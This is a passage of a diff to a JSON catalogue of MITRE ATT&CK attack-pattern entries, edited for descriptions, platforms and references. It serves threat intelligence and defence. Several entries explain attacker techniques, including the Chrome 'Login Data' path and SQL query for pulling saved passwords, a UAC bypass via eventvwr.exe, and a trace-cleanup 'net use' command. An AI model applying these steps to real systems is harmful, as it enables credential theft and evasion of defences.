system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", "meta": { "external_id": "T1210", "kill_chain": [ @@ -4767,7 +4474,7 @@ "value": "Exploitation of Remote Services - T1210" }, { - "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes.(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", + "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", "meta": { "external_id": "CAPEC-309", "kill_chain": [ @@ -4782,14 +4489,11 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1016", - "https://capec.mitre.org/data/definitions/309.html", - "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://capec.mitre.org/data/definitions/309.html" ] }, "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", @@ -4826,10 +4530,6 @@ "kill_chain": [ "mitre-attack:execution" ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Process: Process Creation" - ], "mitre_platforms": [ "Linux", "Windows", @@ -4846,12 +4546,6 @@ "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "meta": { "external_id": "CAPEC-556", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://msdn.microsoft.com/en-us/library/bb166549.aspx", "https://attack.mitre.org/techniques/T1042", @@ -4874,19 +4568,17 @@ "value": "Change Default File Association - T1042" }, { - "description": "Adversaries may enumerate files and directories or search in specific device locations for desired information within a filesystem. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) during automated discovery to shape follow-on behaviors, including deciding if the adversary should fully infect the target and/or attempt specific actions. \n\nOn Android, Linux file permissions and SELinux policies typically stringently restrict what can be accessed by apps without taking advantage of a privilege escalation exploit. The contents of the external storage directory are generally visible, which could present concerns if sensitive data is inappropriately stored there. iOS's security architecture generally restricts the ability to perform any type of [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) without use of escalated privileges. ", + "description": "On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.\n\niOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.", "meta": { - "external_id": "STA-41", + "external_id": "T1420", "kill_chain": [ "mitre-mobile-attack:discovery" ], "mitre_platforms": [ - "Android", - "iOS" + "Android" ], "refs": [ - "https://attack.mitre.org/techniques/T1420", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-41.html" + "https://attack.mitre.org/techniques/T1420" ] }, "uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848", @@ -5043,14 +4735,6 @@ "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "meta": { "external_id": "T1503", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1503", "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", @@ -5073,26 +4757,7 @@ "value": "Credentials from Web Browsers - T1503" }, { - "description": "Adversaries may delete, alter, or hide generated artifacts on a device, including files, jailbreak status, or the malicious application itself. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of mobile security solutions by causing notable events or information to go unreported.", - "meta": { - "external_id": "APP-43", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "iOS", - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1630", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html" - ] - }, - "uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", - "value": "Indicator Removal on Host - T1630" - }, - { - "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information.(Citation: US-CERT-TA18-106A)", + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).", "meta": { "external_id": "CAPEC-497", "kill_chain": [ @@ -5106,15 +4771,13 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1083", "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "https://capec.mitre.org/data/definitions/127.html", - "https://capec.mitre.org/data/definitions/497.html", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://capec.mitre.org/data/definitions/497.html" ] }, "uuid": "7bc57495-ea59-4380-be31-a64af124ef18", @@ -5124,14 +4787,6 @@ "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", "meta": { "external_id": "CAPEC-471", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation", - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://msdn.microsoft.com/en-US/library/ms682586", "http://msdn.microsoft.com/en-US/library/ms682600", @@ -5177,42 +4832,22 @@ "https://attack.mitre.org/techniques/T1440" ] }, - "related": [], + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "b765efd1-02e6-4e67-aebf-0fef5c37e54b", "value": "Detect App Analysis Environment - T1440" }, - { - "description": "Adversaries may exploit software vulnerabilities in order to to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. \n\nWhen initially gaining access to a device, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and applications running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user- level permission to root permissions depending on the component that is vulnerable. ", - "meta": { - "external_id": "APP-26", - "kill_chain": [ - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1404", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html" - ] - }, - "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", - "value": "Exploitation for Privilege Escalation - T1404" - }, { "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", "meta": { "external_id": "CAPEC-17", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], "refs": [ "http://seclists.org/fulldisclosure/2015/Dec/34", "https://attack.mitre.org/techniques/T1044", @@ -5233,7 +4868,7 @@ "value": "File System Permissions Weakness - T1044" }, { - "description": "Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n \nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Portions of files can also be encoded to hide the plaintext strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.(Citation: Microsoft MalLockerB) ", + "description": "An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)", "meta": { "external_id": "APP-21", "kill_chain": [ @@ -5244,9 +4879,12 @@ "iOS" ], "refs": [ + "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/", + "http://ieeexplore.ieee.org/document/6234407", + "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", + "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao", "https://attack.mitre.org/techniques/T1406", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html", - "https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/" + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html" ] }, "uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", @@ -5304,7 +4942,28 @@ "value": "Exfiltration Over Alternative Protocol - T1048" }, { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used.(Citation: US-CERT-TA18-106A)", + "description": "Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)\n\nThis technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).", + "meta": { + "external_id": "AUT-0", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1409", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html", + "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" + ] + }, + "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "value": "Access Stored Application Data - T1409" + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".", "meta": { "external_id": "T1049", "kill_chain": [ @@ -5319,15 +4978,13 @@ "Windows", "IaaS", "Linux", - "macOS", - "Network" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1049", "https://cloud.google.com/vpc/docs/vpc", "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html", - "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview" ] }, "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", @@ -5353,8 +5010,7 @@ "Office 365", "SaaS", "Google Workspace", - "IaaS", - "Containers" + "IaaS" ], "refs": [ "https://attack.mitre.org/techniques/T1550", @@ -5370,13 +5026,6 @@ "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)", "meta": { "external_id": "CAPEC-478", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1058", "https://capec.mitre.org/data/definitions/478.html", @@ -5409,7 +5058,6 @@ "Command: Command Execution", "Module: Module Load", "Process: Process Creation", - "Process: Process Metadata", "Script: Script Execution" ], "mitre_platforms": [ @@ -5452,14 +5100,6 @@ "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.", "meta": { "external_id": "T1066", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1066" ] @@ -5506,13 +5146,6 @@ "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)", "meta": { "external_id": "T1088", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html", @@ -5546,10 +5179,6 @@ "kill_chain": [ "mitre-attack:defense-evasion" ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Process: Process Creation" - ], "mitre_platforms": [ "Linux", "Windows", @@ -5566,13 +5195,6 @@ "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "meta": { "external_id": "T1181", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1181", "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", @@ -5603,11 +5225,6 @@ "kill_chain": [ "mitre-attack:credential-access" ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Process: Process Creation", - "User Account: User Account Authentication" - ], "mitre_platforms": [ "Linux", "Windows", @@ -5626,13 +5243,6 @@ "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", "meta": { "external_id": "T1122", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1122", "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", @@ -5683,7 +5293,7 @@ "value": "Data from Information Repositories - T1213" }, { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised device they are currently accessing or from remote systems by querying for information over the network. \n\n \n\nThis is typically accomplished by utilizing device APIs to collect information about nearby networks, such as Wi-Fi, Bluetooth, and cellular tower connections. On Android, this can be done by querying the respective APIs: \n\n \n\n* `WifiInfo` for information about the current Wi-Fi connection, as well as nearby Wi-Fi networks. Querying the `WiFiInfo` API requires the application to hold the `ACCESS_FINE_LOCATION` permission. \n\n* `BluetoothAdapter` for information about Bluetooth devices, which also requires the application to hold several permissions granted by the user at runtime. \n\n* For Android versions prior to Q, applications can use the `TelephonyManager.getNeighboringCellInfo()` method. For Q and later, applications can use the `TelephonyManager.getAllCellInfo()` method. Both methods require the application hold the `ACCESS_FINE_LOCATION` permission.", + "description": "On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.", "meta": { "external_id": "T1421", "kill_chain": [ @@ -5693,7 +5303,8 @@ "Android" ], "refs": [ - "https://attack.mitre.org/techniques/T1421" + "https://attack.mitre.org/techniques/T1421", + "https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en" ] }, "uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", @@ -5703,13 +5314,6 @@ "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)", "meta": { "external_id": "T1215", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "http://tldp.org/HOWTO/Module-HOWTO/x197.html", "http://www.megasecurity.org/papers/Rootkits.pdf", @@ -5768,12 +5372,6 @@ "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\n", "meta": { "external_id": "T1126", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1126", "https://technet.microsoft.com/bb490717.aspx" @@ -5792,7 +5390,7 @@ "value": "Network Share Connection Removal - T1126" }, { - "description": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", + "description": "Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass 